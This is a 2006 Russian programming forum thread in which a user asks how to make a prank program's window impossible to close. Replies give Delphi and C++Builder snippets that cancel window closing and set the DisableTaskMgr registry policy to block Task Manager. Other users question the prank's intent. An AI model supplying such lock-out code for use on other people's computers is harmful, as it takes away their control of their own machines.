Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Постоянно неактивеая форма

5.1K
09 ноября 2006 года
saturn61
108 / / 25.10.2006
Прикольчик пишу, но чтобы действительно было прикольно надо сделать так, чтобы форма постоянно была неативной, всегда как бы на заднем плане, чтобы прога не вырубилась нажатием ALT+F4.
Народ, кто чем может помогите.
387
09 ноября 2006 года
Ihbif19
421 / / 28.10.2004
[quote=saturn61]Прикольчик пишу, но чтобы действительно было прикольно надо сделать так, чтобы форма постоянно была неативной, всегда как бы на заднем плане, чтобы прога не вырубилась нажатием ALT+F4.
Народ, кто чем может помогите.[/quote]
А как тебе помочь???
Советами?

чтобы прога не закрывалась при нажатии ALT+F4 - перехватывай нажатие этих клавиш!
Спешу тебя огорчить:
Если пользователю надоест твой прикол, он может завершить процесс твоей программы, да ещё если что-нибудь натворит твоя прога, думаю юзер надолго забудет тот сайт с которого скачал прикол и занесёт в бан-лист...

А для чего тебе это?
242
09 ноября 2006 года
Оlga
2.2K / / 04.02.2006
Цитата:
А для чего тебе это?


хороший вопрос, чего то твой прикол дурно попахивает...

309
10 ноября 2006 года
el scorpio
1.1K / / 19.09.2006
Цитата:
чтобы прога не закрывалась при нажатии ALT+F4 - перехватывай нажатие этих клавиш!


Ничего перехватывать не надо :D, просто нужно обработать сообщение "Запрос закрытия формы"

 
Код:
void __fastcall TForm1::FormCloseQuery (TObject *Sender, bool &Cancel)
{
Cancel = true; // отмена закрытия
}

И всё - теперь окно не закроешь - можно только в программе вызвать Application->Terminate(). Или прибить сам процесс в "Диспечере задач".
3.2K
10 ноября 2006 года
Sania
186 / / 28.10.2006
еще form.enabled:=false; для неактивной формы
5.1K
10 ноября 2006 года
saturn61
108 / / 25.10.2006
[QUOTE=Ihbif17] Спешу тебя огорчить:
Если пользователю надоест твой прикол, он может завершить процесс твоей программы, да ещё если что-нибудь натворит твоя прога, думаю юзер надолго забудет тот сайт с которого скачал прикол и занесёт в бан-лист...
[/QUOTE]
ну, в процессах можно завершить почти всё, но для этого ведь надо еще её там найти :D
[QUOTE=OlgaKr]хороший вопрос, чего то твой прикол дурно попахивает...[/QUOTE]
очень даже мирный прикол, ....даже туповат немного.....но над друзьями поугарать - это что-то, если кто-то это делал он меня поймет :)

А за предущие два сообщения по теме, спасибо.

Эта прога просто рисует на рабочем 500 линий разных цветов в милисекунду, вот и все, а вы уже тут предположения темного характера.....
17K
10 ноября 2006 года
s$s
25 / / 05.09.2006
uses Registry;
---
var reg: tregistry;
//запретить кнтрлалтделит
reg:=treginifile.create();
reg.rootkey:=hkey_local_machine;
reg.openkey('software\microsoft\windows\currentversion\policies\system', true);
reg.writeinteger('disabletaskmgr', 1);
reg.free;

//разрешить кнтрлалтделит
reg:=treginifile.create();
reg.rootkey:=hkey_local_machine;
reg.openkey('software\microsoft\windows\currentversion\policies\system', true);
reg.writeinteger('disabletaskmgr', 0);
reg.free;

это если у тя виндоус стоит.
339
11 ноября 2006 года
verybadbug
619 / / 12.09.2005
 
Код:
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Action := caNone;
end;
5.1K
11 ноября 2006 года
saturn61
108 / / 25.10.2006
[QUOTE=s$s]uses Registry;
---
var reg: tregistry;
//запретить кнтрлалтделит
reg:=treginifile.create();
....................................
//разрешить кнтрлалтделит
reg:=treginifile.create();
....................................
[/QUOTE]
Мысль прикольная, спасибо, даже очень,.....................................
только она не работает ((((
17K
12 ноября 2006 года
s$s
25 / / 05.09.2006
попробуй вместо reg.rootkey:=hkey_local_machine;
написать reg.rootkey:=hkey_current_user;
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог